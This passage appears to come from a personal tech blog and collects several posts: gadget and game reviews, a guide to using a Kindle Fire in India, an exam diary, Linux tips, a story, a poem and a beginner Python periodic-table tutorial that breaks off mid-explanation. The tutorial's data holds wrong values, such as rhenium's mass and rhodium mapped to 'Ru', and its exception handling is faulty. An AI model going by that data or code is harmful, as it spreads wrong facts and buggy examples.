Google’s Project Glass Prototype

Google Co-Founder Sergey Mikhaylovich Brin unveiling the Project Glass Prototype.

Watch this video to get a feel of what is Google’s ‘Project Glass’ about.

Released by Google, this video follows a potential day in the life of a Google glasses user.

While wearing these pair of glasses, you can see directions to your destination appear literally before your eyes. You can check weather forecast and news or talk to friends over video chat while sharing your surroundings with them or even buy a few things online as you walk around. These glasses can do everything you now need a smartphone or tablet computer to accomplish BUT this is JUST A PROTOTYPE for now. They don’t exist YET!

Google’s Project Glass page on Google+ has following description (You can provide your opinions and ideas on the same page):

We think technology should work for you—to be there when you need it and get out of your way when you don’t.
A group of us from Google[x] started Project Glass to build this kind of technology, one that helps you explore and share your world, putting you back in the moment. We’re sharing this information now because we want to start a conversation and learn from your valuable input. So we took a few design photos to show what this technology could look like and created a video to demonstrate what it might enable you to do.
Please follow along as we share some of our ideas and stories. We’d love to hear yours, too. What would you like to see from Project Glass?

Source: https://plus.google.com/111626127367496192147/posts

According to Google: Augmented reality (AR) is a term for a live direct or indirect view of a physical real-world environment whose elements are augmented by virtual computer-generated imagery. Augmented Reality in simple terms is the fusion of digital information with viewer’s real environment.

It’s like the “Terminator vision,” as in the Arnold Schwarzenegger movies. When the films would cut to the robot’s point of view, you’d see it scan the environment and analyze everything about every object in the frame.Or in the latest Mission Impossible movie where a character is wearing contact-lenses and he sees people and BOOM- he can see their profiles instantly.  It is COOL!

Of course Google is not the only one doing research in this arena. Pranav Mistry’s Sixth Sense technology is somewhat like Google’s Project Glass. See Pranav Mistry’s TED-Talk on 6th sense technology yourself :

Microsoft with it’s product Kinect is also doing some noticeable research (http://research.microsoft.com/en-us/projects/augmented/). 

My Opinion:

I think it will take at least 5-6 years of research and development before Augmented Reality as demonstrated by Google becomes a reality.

While people are still bickering about how weird the Glasses look, I want to commend Google.

In the field of futuristic research, it is making the news almost everyday it seems which is not helping it one bit since the investors are still not happy with Google. Google shares are down 2% this year at last Thursday’s close of $632.32 (It was $$645.41 on 3rd April before unveiling Project Glass), that’s despite having increased revenue nearly 30% in 2012 and boosting profit more than 20%.

What I think is if Google is going to promote wild R&D dreams like Google Glass and Auto Driving car, it had better get in touch with some of the more mundane tasks of management, such as talking with investors.

• Title: Temple Run
• Publisher : Imangi Studios
• Release Date: March 27, 2012
• Tested On : KINDLE FIRE (unrooted)
• Requires Android: 2.1 and up
• Category: Arcade / Action / Running
• Size: 26M
• Price: Free
• Google Play Store Link : https://play.google.com/store/apps/details?id=com.imangi.templerun 
• Wikipedia Entry : http://en.wikipedia.org/wiki/Temple_Run

Screenshots :

My Kindle Fire running Temple Run.

Temple Run (Screenshots taken from AndroidPolice).

Gameplay :

Basically all you have to do in this game is to make your character run, jump, slide and turn to evade obstacles and collect coins to unlock achievements, power-ups, utilities, characters and wallpapers (Wallpapers are not available on Android Version yet!). The story is simple: You’ve stolen an ancient artifact from a temple. Crazy Demon monkeys are chasing you and you have to run as far as you can. There are no levels or no checkpoints.

On my Fire the game looks beautiful (for it’s size and price). This is a fun game to play on a Tablet or on any supported device for that matter! It takes a lot of juice though. Just playing it for 3 hours brought my Fire’s battery charge level to 57% from 92%.

I think I’m going to keep this game around for sometime. There is only so much one can play Angry Birds you know

Reviews from Community :

The game’s getting great reviews from Android users despite few glitches in the game.

Reviews on Google Play Store (at the time of this writing).

Reddit Thread : http://www.reddit.com/r/Android/comments/rffyu/temple_run_is_out/

Issues :

Since the launch of the game yesterday various users are experiencing different issues with the game. Major one being that it’s not coming up in search results when you search it in Google Play Store. Frequent crashes and lag is another problem. Even in my Kindle Fire it crashes whenever I tap “Run Again” after loosing a run and it seems I’m not the only one who has this issue . On some devices including SGSII-i9100G and RAZR-MAXX it doesn’t even work!

Verdict:

Since the game is just in version 1.0 and is just launched yesterday I hope the glitches will be solved soon enough. This is a good game which can provide casual gamers hours of fun. My Own Rating : 4.6/5. So go, download and play!

In January (3 months ago) I bought a kindle Fire. It’s an astounding device and for it’s price it’s worth every penny! 

See the specifications yourself:

Hardware

    Processor:

        Dual core, 1000 MHz, TI OMAP4

    System memory:

        512 MB RAM

    Built-in storage:

        8000 MB

Multimedia

    Speakers:

        Stereo speakers

Internet browsing

    Browser:

            Yes

        Supports:

            HTML

Connectivity

    Wi-Fi:

            802.11 b, g, n

    USB:

            USB 2.0

        Connector:

            microUSB

        Computer sync, OTA sync

Display

    Physical size:

        7.00 inches

    Resolution:

        1024 x 600 pixels

    Pixel density:

        170 ppi

    Technology:

        IPS LCD

    Touchscreen:

            Capacitive, Multi-touch

    Features:

        Scratch-resistant glass

Design

    Device type:

        Tablet

    OS:

        Android (2.3)

    Form factor:

        Candybar

    Dimensions:

        7.48 x 4.72 x 0.45 (190 x 120 x 11.4 mm)

    Weight:

        14.57 oz (413 g

I would suggest buying a Kindle Fire if you need a Tablet but don’t want to splurge 20K+ rupees. It costs around 13,800/- in India from ebay. Compared to other similarly priced tablets in India like Reliance 3GTab and iBall Slide, Kindle Fire is a much better alternative. There are many reviews out there just to prove that so I’m not going to write an essay praising it.One more things:  Do not compare it with an iPad. iPad has it’s own class. Kindle Fire is an eBook Reader which is also an excellent android tablet.

How to Order Kindle Fire in India?

Officially Kindle Fire is not yet available in India (and chances are it won’t be in near future). You can still purchase it through ebay and such e-commerce websites which imports it from USA. The delivery can take up-to 15 days though so you’d need to be patient. eBay.in has some pretty good deals for a brand new Kindle-Fire. And yes I also bought it from eBay.in.

How to Register Kindle Fire in India? :

Ok. It’s arrived but before you can do anything with it you will have to Register it with Amazon. Do not worry. Indian users can still register it (though using Amazon Premium service is not possible for now), all you need is a free Amazon.com account. Head to Amazon.com, Sign-up and click the link in confirmation email… yada yada yada, you know the drill. Enter the Amazon UserID and Password in Kindle Fire. Your Kindle Fire needs to be connected to a WiFi hotspot/access point. When I received my Kindle Fire, I did not have access to an WiFi Access point. If you are stuck in similar situation, don’t panic. All you need is to configure your laptop (or a Desktop with a WiFi dongle) to act as a WiFi hotspot. I used a simple application- “Connectify” for this purpose. It works on Windows7 and is free for personal use. Once you enter your UserID and Password and click Register Button it will take a few minutes to Register itself with your profile. Voila! It is done! Now you can go ahead and use it’s basic features (which is just – The Oxford English Dictionary which comes with it, the User-Manuel, and the Amazon Silk Browser). 

How to install 3rd party applications in Kindle Fire?

As I said Amazon premium services is not available. So forget about installing apps from Amazon App Store. What we can do is side-load apps on it (putting the .APK files in it) and installing them from Kindle Fire itself. I preferred this as I do not have access to a WiFi hotspot and I am on a very slow gprs/edge wireless connection. We have another situation here though. To install .APK files we need a 3rd Party File Browser for our Kindle and for that we need WiFi. Connectify is still needed so we can use laptop/desktop’s connection to download a File-manager/Browser. I installed ES File-Explorer from SlideMe.org. The process is simple – Start Fire’s Browser, open the URL: http://SlideMe.org and search for ES File-Explorer. Install and Done. To install an app just browse to the location of .APK file in ES-File Explorer and tap the .APK file and tap Install.

How to Put Files on Kindle Fire?

Kindle Fire doesn’t ship with a Data Cable. Don’t fret. It comes cheap. Kindle Fire needs a MicroUSB.female-to-USB.male cable. If you have a modern high-end phone, chances are it’s data cable will work fine with Fire. I bought a Nokia MicroUSB cable from a local shop for Rs. 80/-.

All you need to do is plug cable’s both ends in appropriate ports and your Computer System will detect Fire as an external storage device with label- KINDLE.

Now you can put songs/books/music/WhateverTheHellYouWant on your Kindle Fire.

There is another advanced method where you can just transfer files via a wireless LAN. But we will discuss that in another blog-post.

Tada! You are all set to use Kindle Fire in India.

Where to get .APKs or Android Apps?

Well, one source I already mentioned – SlideMe.org. You can also try GetJar store for Android Applications if you can connect to a WiFi-Hotspot (or using Connectify). You can also root your Kindle-Fire and install Google Play client on Kindle Fire to install applications directly from Google Play app store.

What are the best apps/games for Kindle Fire?

There are hundreds of thousands really! I mostly use – QuickOffice Premium for Android for Document Editing, MX Video Player for watching videos and PowerAMP for listening to music. Angry Birds, Asphalt 6: Adrenaline, Where’s My Water, Plants VS Zombies and Samurai II are some of the best games you can enjoy on your Fire.

My Kindle Experience:

Kindle Fire is a device which I absolutely needed. As a media consumption device, it rocks. Reading Books, Magazines and Comics on it is very pleasant. While it doesn’t fit in pocket, it’s much easier to carry than a Laptop. As a tablet there are some major features missing. Lack of a memory-expansion slot is one. It doesn’t have an inbuilt microphone/camera so Skype calling is not possible either. After installing basic apps, 5GBs is all you have for your eBooks and Videos (which works for me actually). But even after it’s various shortcomings, it’s a great Value-For-Money device.

These days we’ve been hearing about USA’s SOPA and in India Kapil Sibal’s rant on Facebook and such websites.

SOPA stands for the Stop Online Piracy Act. It is one of two bills being considered by American congress today. The other is the Protect-IP Act.

Similarly India Court recently order Facebook, google and other 19 social networking websites to remove so called offensive content by 6th Fabuary.

Something similar is happening all over the world. I fear the governments of world are becoming more authoritarian (a la ’1984′?)…
For sake of putting my opinion out there: “I am against any internet censorship.”

Await more on this from me in couple of days. Till than, Adios!

Read more on SOPA here ;

http://www.theverge.com/2011/12/22/2648219/stop-online-piracy-act-sopa-what-is-it

http://www.techi.com/2011/12/godaddy-lost-72354-domains-this-week-its-not-enough/

http://www.reddit.com/r/technology/comments/np5ee/while_we_are_focusing_on_sopa_we_are_being/

Stressed!

Here is a record of what happened today:

I reached my University at 12:30PM. It is a busy afternoon. Students from the morning shift of exam are coming out some with a sad look on the faces (they had exam in the morning shift) and some with Smiley faces that will make The Joker proud (The had exam in the noon shift, like me). The good thing about exams is, one is always confident about getting A-grade. Another is that by the time results come you forget that you were going to get A-grade.  It saves a lot of grief. Most of the students were First Year kids. I overhear a kid complaining about lack of time – “Shit! Man! I could only write 38 pages in 3 hours, I shouldn’t have wasted that 2 minute in water-break”. Sadly most Indian students take exams as a competition to fill pages with words. It doesn’t matter to them that if they are writing the correct answer. We are masters of writing the same sentence in 4 different ways – “Christopher Columbus discovered America… America was discovered by Columbus… Columbus landed in America few hundred years ago… In his travel, Christopher Columbus, who was a traveler at the time, discovered America.” – See the pattern?

Another group is busy comparing the answers they wrote. I hate these type of students. One kid comes out of exam triumphantly, looking more proud than Edmund Hillary ever was after climbing Everest. One of the kids asks – “What did you put in answer of question 6?” and before the first kid could say anything he answers his own question – “It was option C right? Yes it was option C”. The first kid’s face falls, like someone just pushed him from the top of his Everest. He lies- “yes, C”.
I spotted my friends sitting near the staircase reading mugging notes. I don’t know if there are studies to prove it, but human mind is most active between just half hour before exam to last minute of exam. I avoid going near them. The first question Indian students ask when they meet another fellow student – “How much you’ve studied?” and the expected answer is always – “Not everything. Left this unit/topic”. If you answer – “everything” than that will just mean one of two things -> (1.)  You are being sarcastic or (2.) You have the leaked copy of exam-paper. There is also a third archaic meaning – You are a bookworm, but since bookworms are almost extinct in modern times we don’t assume that.
I troll around the parking area, reading number-plates on cars and bikes. Somehow a number plate – RJ – 1337 cracks me up. I see that as a good sign.

1:25PM. Time to enter the exam hall. We enter exam hall as a smug looking professor hands out Answer-sheets. I have another complaint  about exam halls. Why they make the atmosphere so depressing.  So we start filling out answer-sheets with details, Name – filled, Date – filled, Roll No. – filled, Course – ????. Which course’s exam is it? I was just reading it yesterday, I know I was reading something about storage techniques, RAID… then it clicks – It’s Emerging Technologies- II. We have this course ‘Emerging Technologies’ in which we study technologies which were emerging two decades ago.

I get the question paper at exactly 1:30PM. The first question is on Debugging and Debugging tools. I know the answer. I look at my roommate+classmate Vijay to give him a thumbs-up. He is sitting 5 rows behind me. The lucky bastard is surrounded by two girls, both Juniors. I spend few minutes admiring the greenery in class. Back to answer-sheet, Debugging, Yes, I know what debugging is but Debugging tools, I think I read about them someplace. Ok, I am having a head-ache now. Damn! I need water! I start scribbling something on answersheet and fill a page with words which make no sense. Strike it down, my brain says, let’s start another one, leave this for later. I slashed at the page with my pen like Luke Skywalker slashed that unknown clone-fighter with his Light-saber. On the the question number two. The kid who’s sitting next to me is having troubles solving his question, I offer to help him, he gives me this gangsta look. Sigh! Nobody appreciates the free help these days anymore also nobody reads science news. Scientists have discovered Higgs Boson particle. I bet none of the people except me in this room know that. Ha! I am elite this way.

Where was I? Yes Question number 2, It’s about Testing, Types of Testing, Testing Tools and some other stuff. I write down some stuff which I believe is correct answer. I think of writing a tutorial for Selenium. Damn! I wish they’d allow us to use our laptops+internet in exam hall, I could just copy down the selenium tutorial which is already saved as a Draft post on my blog. Well a couple of lines about Selenium and we are done with answer number 2. Damn my toe is itching. I should’ve washed my socks. I’ve been wearing them for past 15 days. They stink but I had sprayed some AXE-deodorant on them just this morning. I wonder if I should take off my shoes. I decide against it.

Question number 3 is about RAID and RAID levels. Isn’t the new Batman prologue is also about raid? A heist actually. It’s 7-8 minute trailer. Just today morning I was searching for it this morning on youtube but alas all of them were taken down. I think how awesome Dark Knight Rises is gonna be. Come to think of it, the invigilator in the room is a Ra’s Al Ghul look alike. Wow! Don’t have my mobile or else I would’ve clicked a pic for posting on Facebook or Tumblr, since Facebook is kinda boring these days. My FB-Wall is always full of notifications about Poll-Questions… Okay, Back to question 3. RAID. I know this, I write an answer, 3-4 pages, I believe it’s sufficient. I also add my experience on setting a 0+1 level RAID in detail.

Question 6 now, this is a big one divided in sub-parts. A bunch of definition and differences between this and that. I finally take a 5 minute water-break. Abhishek (The class-topper and the guy who just got placed in ACCENTURE few weeks back) is now trying to scratching his neck which is funny because he doesn’t have a neck. It’s just  his shoulders and his head on that. I didn’t think it’s even possible to not have a neck before I met him. The guy is cool but I don’t think he has that passion for computer-science. Damn my toe is itching again. I so fuckin wanna cut it now. Ignoring the itch I start scribbling the answers for Question 6 but it’s like some dark force in the universe is working against me. My ball-pen is out of ink (must not make types here- PEN IS).  I look around. Maybe someone has an extra pen but those fuckin-assholes. It’s the final exam of semester and nobody has one extra pen. Is it too much to ask? One extra pen? It’s already 3:45 now. 45 minute left. The kid sitting next to me stands up to leave. LUCKY! I borrow his pen and moves on to Question 7.

Question 7 is about Data backups, Disaster Recovery and Business Continuity. I write a full 5 page encyclopedia entry on this one. I wonder what kind of Disaster recover solutions they employ in Japan. They must lose data like every damn 6 months because of so much earth-quakes. They must keep it in servers located in USA or something. Even their anime-collections. That reminds me that I still need to catch up with One Piece and Naruto manga. I start to draw Naruto on the reverse side of my Answer-sheet. But it turns out like a humanoid-pikachu. I promise myself to catch up with Pokemon- Black and White anime series too. In January I will have some time. Back to writing.

Question 9. It’s the last one about Java, Struts, JSP, EJBs and Test Case Generation. Piece of Cake I think. Man it’s been like ages since I tasted a cake. The last time it was on someone’s birthday last December. An year ago. I need Cake. Black-Forest and maybe some chocolates with that. I remember I used to love chocolates when I was a kid. Now I just eat them when I am alone. A 23 year old guy looks eating a chocolate looks weird. I also used to love collecting action figures. I had a dozen or so G.I.Joes, Half-a-dozen Batmen, A couple of Spidermen, a venom and few I made myself using card-board. Collecting them was fun until I turned 18 then it was just plain weird. Also now I am into gadgets. In fact I’m planning to buy an iPad-2. As I am planning from where to Order and iPad, Flipkart or ebay, the bell rings. 3 hours are over. So soon.

I come out of examination hall and to avoid any questions, I leave without waiting for my friends.

The time was too fast today. Worst Exam EVER!

To prove that It’s Original, I’m not fixing any typos I originally made. :p

1.) Go beyond Ubuntu : Chances are very high that you started with Ubuntu and it still is your favorite Linux distribution. We all Love Ubuntu but it is not the choice-distro for a power-user. You may want to Install a source based distribution like Gentoo where you will be compiling everything yourself.  It may be time-consuming though and  if you think Gentoo is an overkill – A better option is Arch Linux. The Arch base and all packages are compiled for x86-64 architectures, offering a potential performance boost with the added advantage of quick installation. Both Arch Linux and Gentoo Linux are rolling release systems, that means packages are available to the distribution a short time after they are released making sure that you have the most cutting-edge OS install.

You may also wanna try Linux From Scratch.  LFS, (or Linux From Scratch) is not a Linux distribution but a documentation instructing you, how to obtain the source code for a minimal base package set for a functional Linux system, and how to manually compile, patch and configure it from scratch. On the other hand Gentoo gives you nearly as much control as LFS would, but with the advantage of having a userbase and documentation (the documentation is awesome) for if/when you get stuck.

You can also try Slackware. Slackware is the oldest surviving Linux distribution, and is known for teaching its users thoroughly – gentle, or not. It’s about as pure as Linux gets. There’s an old saying: “If you have a question about Linux, ask a Slackware user.”

2.) Make Troubles with Trouble-Maker : There are a lot of tools out there to make the system administrator’s life easier. However, no tool is a replacement for properly understanding the system and experience in troubleshooting unknown situations. This is where Trouble-Maker comes in but unlike other tools, It does not attempt to solve problems — It causes them. Set up trouble-maker, let it break stuff, and fix it again – it’s a great way to learn how to trouble-shoot a Linux system. Don’t wait to break the Linux system, break it yourself.

Download it Here: http://trouble-maker.sourceforge.net/

**Do Not install this on a production system**

3.) Join Forums : Join support and discussion forum for your specific Linux-flavor.  In a forum you can:

a.) When google is not helping you can post your query in a forum to get help from users.

b.) Answer user queries thereby contributing to community and improving your Linux Gyan (Know-How) in the process.

c.) Learn about issues plaguing your preferred Linux distro.

d.) Get to know like-minded people.

Make sure the forum you are joining has a large number of active users or you’d be waiting for replies for days (sometimes weeks).
I would suggest joining one of the following forums:

• Arch Linux Forums :
  Total number of registered users: 40,000
  Total number of topics: 127,189
  Total number of posts: 998,895

• LinuxQuestions :
  Total number of registered users: 462,916
  Total number of topics: 904,949
  Total number of posts: 4,526,788

• Gentoo Discussion Forum :
  Total number of registered users: 134,224
  Total number of topics: 5,439,269

4.) IRC – Channels : IRC channels are somewhat like Yahoo! Chat-rooms but much more controlled. There are several Internet relay chat (IRC) channels on the freenode network. They have all the advantages of Forums I mentioned but it’s real-time.

You can get active on an IRC channel right now through Freenode’s web-chat client. Choose a nickname, IRC channel (For Example: #Linux, ##linux-in etc), Fill CAPTCHA and Click on connect button.
For chatting on any other network than Freenode, Try Mibbit.

5.) Read Linux News : Keep yourself informed with latest hip-n-happening in world of Linux.
My Favorite Sources include:

1. http://distrowatch.com/
2. http://www.linuxinsider.com
3. http://www.linuxsecurity.com
4. http://www.reddit.com/r/linux/

——–

 What do you do to sharpen your Linux Knowledge? Leave Comments!

______

Part – 1 – DEATH

My name is Mehul. Until this morning, I was just a normal happy kid. Then I died. Contrary to popular belief, it wasn’t that bad. When you die, it’s a moment of pain followed by a feeling of eternal peace. The last thing I could remember was dying, the world slowed, darkened and became cold around me. I didn’t see the tunnel of light that everyone always talked about, everything just dulled and grew dark, cold. I heard things however, my parents, my friends, my mentors, my girlfriend each voice added to the voice before until the dull buzz became a cacophonous roar, ushering me to fight, to live. I woke up or I slept. I couldn’t tell, but I was dead. I wasn’t sure though. In death, everything is so dreamlike.  Every voice is distant still so close. Somebody was playing violin. I opened my eyes. OK, now I was sure, I was dead. Only death could be this beautiful. Death is a lady. She was as beautiful as one can imagine.  She wore a white wedding gown. She gestured towards the door. I understood. She wanted to me to go out of the house. I obeyed.

It felt that I knew this street. It was an avenue by trade, but street sounds better. Looking onward I saw a group of people that I thought could have been friends of mine, or at least some of them those who died with me. I didn’t have that many friends, and even fewer that would stand to talk in a circle like that. So I lowered my expectations accordingly. It turned out to be another of many groups of people that I didn’t mind, but didn’t befriend. I figured that I would stop as I got to the circle, say hi maybe, and then see where the conversation went.

The lady nudged me to move ahead. She was smiling but at the same time she was worried, like she’d made a mistake. She kept walking behind me blocking my path. I assumed she feared I will run away. But I was not going to run away. Something about this place was peaceful. We walked for a few minutes. There were various fruit stores on the both side of street. I wanted to buy some but I got the feeling that I was not supposed to have them just yet.

I was so occupied looking at fruits that I didn’t notice a man standing few feet away from us. He was standing in the middle of the crossroads. He was tall and slender with dark hair hanging lank about his face. Features that are straight and angular, enough to make you look once and maybe twice but never three times. He blended into the background, but sometimes you’ll see him standing still as crowds flow around him like a river, staring into the distance as if searching for a point he reached, once. Pale skin; his face was soft and hairless like a child’s. He was a god. God of Death.

Five years ago,
I saw you standing there,
and my heart raced,
at your beauty.

Five years ago,
With the sun in your hair,
I couldn’t think,
of the words to say.

Five years ago,
You were so pretty,
that I couldn’t
catch my breath.

Five years ago,
I longed to hold,
your hand in mine,
and feel the warmth.

Five years ago,
all I wanted was,
a kiss from your lips,
and I’d be in heaven.

Five years ago,
A thought of you,
would send my heart racing,
and pounding in my chest.

Five years later,
I find that you,
Never felt,
The way I felt.

Five years later,
we have gone down,
our separate paths,
the journey apart.

Five years later,
I am still waiting for words,
that I wished I had heard,
standing in the grass…

Five years later;
I just want to wish you a Happy Birth Day,
Cause past five years don’t matter anymore!

Tada! That’s all for today.

Leave comments and “Like” if you liked!

Currently Google Music is open in the US at market.android.com and over the next few days it will be rolled out to the Android Market on devices running Android 2.2 (Froyo) and above. Google faces stiff competition from Apple Inc, Amazon and Spotify in this arena and google has lot of catching up to do.

Just like iTunes purchase store and Apple Online Store, Google Music is not yet available for Indian users. It shows the following error when we try to access Google Music service in India:

But google does provide its users with a free Hindi music listening experience in partnership with its partners Saavn, In.com and Saregama. So I think when the Google Music service is finally launched in India, we can expect India specific Bollywood content to be made available by the Google for purchase.
I think Google Music will be a huge success in India when launched. India already has a large number of Android users. Indians will enjoy features offered by Google Music. Maybe the upcoming artists in the country can use the artist hub as a medium to connect with fans, promote their songs, get exposure and even make some money by selling their albums on GOOGLE MUSIC.

Consider this C-language code which adds two digits and displays the result.

#include <stdio.h>
int main(int argc, char*argv[])
{
    int n1,n2,n3;
    scanf("%d",&n1);
    scanf("%d",&n2);
    n3 = n1+n2;
    printf("%d\n",n3);
}

Now consider this Python code, which does the same.

import sys
a = sys.stdin.readline()
b = sys.stdin.readline()
c = int(a) + int(b)
print c

See the difference?

Python is great becasue:

1. You will only need to write less lines of code compared to other languages for any given problem, hence it is more readable – thus greater productivity.
2. It has a Beautiful syntax. It enforces code indentation, which is always a good programming practice for other languages too, don’t you agree?
3. Python is Open Source and Free to use even for commercial applications.
4. It’s Portable.
5. It’s Object-Oriented but that is not enforced unlike Java.
6. Python is FUN and Easy.

Python is a programming language that lets you work more quickly and integrate your systems more effectively.  Python runs on Windows, Linux/Unix, Mac OS X, and has been ported to the Java and .NET virtual machines. Python is free to use, even for commercial products, because of its OSI-approved open source license.  -python.org

There are currently two popular versions of Python 2.x and 3.x.  Most of the code you will encounter on the internet is for Python 2.x.  You can learn more about differences in both versions HERE.

For the purpose  of this tutorial, we we use Python 2.6 on Windows. You can download it from Python Download page.

After downloading the executable and installing it (default location is : C:\Python26), first we need to add Python to our PATH. For this we need to open command prompt and enter:

path=%path%;c:\Python26

After it’s done we can get our hands dirty with some coding.

Open notepad. Copy and Paste the below written code in it.

atomic_mass = {'Ru': 102.91, 'Pd': 106.4, 'Pt': 195.09, 'Ni': 58.71, 'Mg': 24.305, 'Na': 22.99, 'Nb': 92.906, 'Db': 268.0, 'Ne': 20.179, 'Li': 6.941, 'Pb': 207.2, 'Re': 128.207, 'Tl': 204.37, 'B': 10.81, 'Ra': 226.03, 'Rb': 85.468, 'Ti': 47.9, 'Rn': 222.0, 'Cd': 112.41, 'Po': 209.0, 'Ta': 180.95, 'Be': 9.0122, 'Fr': 223.0, 'Te': 127.6, 'Ba': 137.33, 'Os': 190.2, 'La': 138.9, 'Bh': 272.0, 'Ge': 72.59, 'Zr': 91.224, 'Tc': 97.0, 'Fe': 55.847, 'Br': 79.904, 'Sr': 87.62, 'Hf': 178.49, 'Hg': 200.59, 'He': 4.0026, 'C': 12.011, 'Cl': 35.453, 'Rf': 265.0, 'P': 30.974, 'F': 18.998, 'I': 126.9, 'H': 1.0079, 'Mo': 95.94, 'v': 50.941, 'Ac': 227.0, 'O': 15.999, 'N': 14.007, 'Kr': 83.8, 'Si': 28.086, 'Sn': 118.69, 'W': 183.84, 'Y': 88.906, 'Sb': 121.75, 'Bi': 206.98, 'Al': 26.982, 'Sg': 271.0, 'Se': 78.96, 'Sc': 44.955912, 'Zn': 65.38, 'Co': 58.933, 'Ag': 107.87, 'Mt': 276.0, 'k': 39.096, 'Ir': 192.22, 'S': 32.06, 'Xe': 131.3, 'Mn': 54.938, 'As': 74.922, 'Ar': 39.948, 'Au': 196.97, 'At': 210.0, 'Ga': 69.72, 'Hs': 227.0, 'Cs': 132.91, 'Cr': 51.996, 'Ca': 40.08, 'Cu': 63.546, 'In': 114.82 }

invatomicmass = dict((v,k) for k, v in atomic_mass.iteritems())

symbols = {'krypton': 'Kr', 'copper': 'Cu', 'rubidium': 'Rb', 'iodine': 'I', 'rhenium': 'Re', 'gold': 'Au', 'radium': 'Ra', 'neon': 'Ne', 'oxygen': 'O', 'cobalt': 'Co', 'germanium': 'Ge', 'titanium': 'Ti', 'technetium': 'Tc', 'zinc': 'Zn', 'astatine': 'At', 'arsenic': 'As', 'radon': 'Rn', 'hydrogen': 'H', 'fluorine': 'F', 'polonium': 'Po', 'platinum': 'Pt', 'silicon': 'Si', 'hafnium': 'Hf', 'meitnerium': 'Mt', 'lead': 'Pb', 'sodium': 'Na', 'thallium': 'Tl', 'chromium': 'Cr', 'selenium': 'Se', 'iridium': 'Ir', 'seaborgium': 'Sg', 'ruthenium': 'Ru', 'tin': 'Sn', 'actinium': 'Ac', 'chlorine': 'Cl', 'osmium': 'Os', 'sulfur': 'S', 'tungsten': 'W', 'lithium': 'Li', 'hassium': 'Hs', 'beryllium': 'Be', 'mercury': 'Hg', 'yttrium': 'Y', 'nickel': 'Ni', 'antimony': 'Sb', 'barium': 'Ba', 'potassium': 'k', 'xenon': 'Xe', 'bohrium': 'Bh', 'helium': 'He', 'dubnium': 'Db', 'strontium': 'Sr', 'bromine': 'Br', 'argon': 'Ar', 'cadmium': 'Cd', 'boron': 'B', 'scandium': 'Sc', 'carbon': 'C', 'palladium': 'Pd', 'silver': 'Ag', 'vanadium': 'v', 'phosphorus': 'P', 'rutherfordium': 'Rf', 'bismuth': 'Bi', 'aluminum': 'Al', 'molybdenum': 'Mo', 'lanthanum': 'La', 'nitrogen': 'N', 'francium': 'Fr', 'gallium': 'Ga', 'zirconium': 'Zr', 'manganese': 'Mn', 'rhodium': 'Ru', 'niobium': 'Nb', 'calcium': 'Ca', 'tantalum': 'Ta', 'magnesium': 'Mg', 'iron': 'Fe', 'tellerium': 'Te', 'cesium': 'Cs', 'indium': 'In'}

inv_symbols = {'Ru': 'rhodium', 'Pd': 'palladium', 'Pt': 'platinum', 'Ni': 'nickel', 'Mg': 'magnesium', 'Na': 'sodium', 'Nb': 'niobium', 'Db': 'dubnium', 'Ne': 'neon', 'Li': 'lithium', 'Pb': 'lead', 'Re': 'rhenium', 'Tl': 'thallium', 'B': 'boron', 'Ra': 'radium', 'Rb': 'rubidium', 'Ti': 'titanium', 'Rn': 'radon', 'Cd': 'cadmium', 'Po': 'polonium', 'Ta': 'tantalum', 'Be': 'beryllium', 'Fr': 'francium', 'Te': 'tellerium', 'Ba': 'barium', 'Os': 'osmium', 'La': 'lanthanum', 'Bh': 'bohrium', 'Ge': 'germanium', 'Zr': 'zirconium', 'Tc': 'technetium', 'Fe': 'iron', 'Br': 'bromine', 'Sr': 'strontium', 'Hf': 'hafnium', 'Hg': 'mercury', 'He': 'helium', 'C': 'carbon', 'Cl': 'chlorine', 'Rf': 'rutherfordium', 'P': 'phosphorus', 'F': 'fluorine', 'I': 'iodine', 'H': 'hydrogen', 'Mo': 'molybdenum', 'v': 'vanadium', 'Ac': 'actinium', 'O': 'oxygen', 'N': 'nitrogen', 'Kr': 'krypton', 'Si': 'silicon', 'Sn': 'tin', 'W': 'tungsten', 'Y': 'yttrium', 'Sb': 'antimony', 'Bi': 'bismuth', 'Al': 'aluminum', 'Sg': 'seaborgium', 'Se': 'selenium', 'Sc': 'scandium', 'Zn': 'zinc', 'Co': 'cobalt', 'Ag': 'silver', 'Mt': 'meitnerium', 'k': 'potassium', 'Ir': 'iridium', 'S': 'sulfur', 'Xe': 'xenon', 'Mn': 'manganese', 'As': 'arsenic', 'Ar': 'argon', 'Au': 'gold', 'At': 'astatine', 'Ga': 'gallium', 'Hs': 'hassium', 'Cs': 'cesium', 'Cr': 'chromium', 'Ca': 'calcium', 'Cu': 'copper', 'In': 'indium'}

Save this file as “data.py”. Take care of the extension. Make sure you are not saving it as data.py.txt.
Open another notepad instance and paste following code in it:

" " " Coder: Ashwin Saxena
  Python Program to get atomic mass of an element aka Periodic-Table Search
" " "

from data import *
from sys import exit
#Needs to return values
#returner = object.molar_mass('ca','na')

def end():
    print "\nThanks for using the Python periodic table search engine!"
    exit(1)
class sort(object):
    def __init__(self):
        decision = raw_input("> ")
        if decision == 'exit' or decision == 'end':
            end()
        try:
            if type(float(decision)) == float:
                decision = float(decision)
                sym =  invatomicmass[decision]
                print "The element with the mass",decision, "is %s, and is abbreviated as %s." % (inv_symbols[sym],sym)

        except ValueError,KeyError:
            pass

        finally:
            pass

       # print "You said %r, which is a %r." % (decision,type(decision))

        if type(decision) == str:
            decision = str(decision)
            if len(decision) <= 2:
                print "You said",decision,",which is also %s, and weighs" % (inv_symbols[decision]), atomic_mass[decision],"."

            if len(decision) > 2:
                print "You said",decision,",which is also %s, and weighs" % (symbols[decision]), atomic_mass[symbols[decision]],"."         

print "Input one of the following: \n\nExact atomic mass\nAbbreviation of element (with first letter in caps)\nFull name of element (no caps)."    

while True:
    print "\n"
    sort()

#End of Program.

Save this file as “Periodic.py” in the same directory where “data.py” is located.

This is a program which displays the atomic mass of any entered Element. The data for elements is stored in “data.py” file, while “Periodic.py” has code to read user input and display that data.

To run this small command line application, Open Command Prompt (if it’s not already open) and enter

python Periodic.py

Let’s see what’s how this code works.

First we take a look at “data.py” file

“atomic_mass”, “symbols” and “inv_symbols” are variables of built-in data type ‘Dictionary’.  Dictionaries are sometimes found in other languages as “associative memories” or “associative arrays”. A dictionary ‘Tel’ can be declared as

tel = {‘jack’: 4098, ‘sape’: 4139, ‘key’: value}

The statement dict((v,k) for k, v in atomic_mass.iteritems()) essiantially, exchanges values of key-value pair so that a key becomes a value and a value becomes a key and stores the resulting dictionary in “invatomicmass” variable.

Looking at Periodic.py file; the first statement is

from data import *

This works imports variables we defined in data.py for use in this code-module.

def end():
